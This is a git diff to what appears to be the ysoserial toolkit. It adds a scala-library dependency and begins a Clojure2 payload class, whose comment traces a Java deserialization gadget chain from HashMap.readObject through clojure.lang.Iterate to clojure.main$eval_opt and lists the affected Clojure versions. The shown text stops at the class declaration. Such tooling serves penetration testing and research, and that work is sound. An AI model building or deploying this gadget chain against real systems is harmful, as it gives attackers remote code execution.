diff --git a/pom.xml b/pom.xml
index c87a346..222920b 100644
--- a/pom.xml
+++ b/pom.xml
@@ -326,6 +326,10 @@
vaadin-server
7.7.14
+
+ org.scala-lang
+ scala-library
+ 2.12.6
com.atomikos
transactions-osgi
diff --git a/src/main/java/ysoserial/payloads/Clojure2.java b/src/main/java/ysoserial/payloads/Clojure2.java
new file mode 100644
index 0000000..1652f86
--- /dev/null
+++ b/src/main/java/ysoserial/payloads/Clojure2.java
@@ -0,0 +1,61 @@
+package ysoserial.payloads;
+
+import clojure.lang.Iterate;
+import ysoserial.Strings;
+import ysoserial.payloads.annotation.Authors;
+import ysoserial.payloads.annotation.Dependencies;
+import ysoserial.payloads.util.Gadgets;
+import ysoserial.payloads.util.PayloadRunner;
+import ysoserial.payloads.util.Reflections;
+
+import java.util.Arrays;
+import java.util.Map;
+
+/*
+ Gadget chain:
+ ObjectInputStream.readObject()
+ HashMap.readObject()
+ clojure.lang.ASeq.hashCode()
+ clojure.lang.Iterate.first() -> null
+ clojure.lang.Iterate.next() -> new Iterate(f, null, UNREALIZED_SEED)
+ clojure.lang.Iterate.first() -> this.f.invoke(null)
+ clojure.core$constantly$fn__4614.invoke()
+ clojure.main$eval_opt.invoke()
+
+ Requires:
+ org.clojure:clojure
+ Versions since 1.8.0 are vulnerable; for earlier versions see Clojure.java.
+ Versions up to 1.10.0-alpha4 are known to be vulnerable.
+ */
+@Dependencies({"org.clojure:clojure:1.8.0"})
+@Authors({ Authors.JACKOFMOSTTRADES })
+public class Clojure2 extends PayloadRunner implements ObjectPayload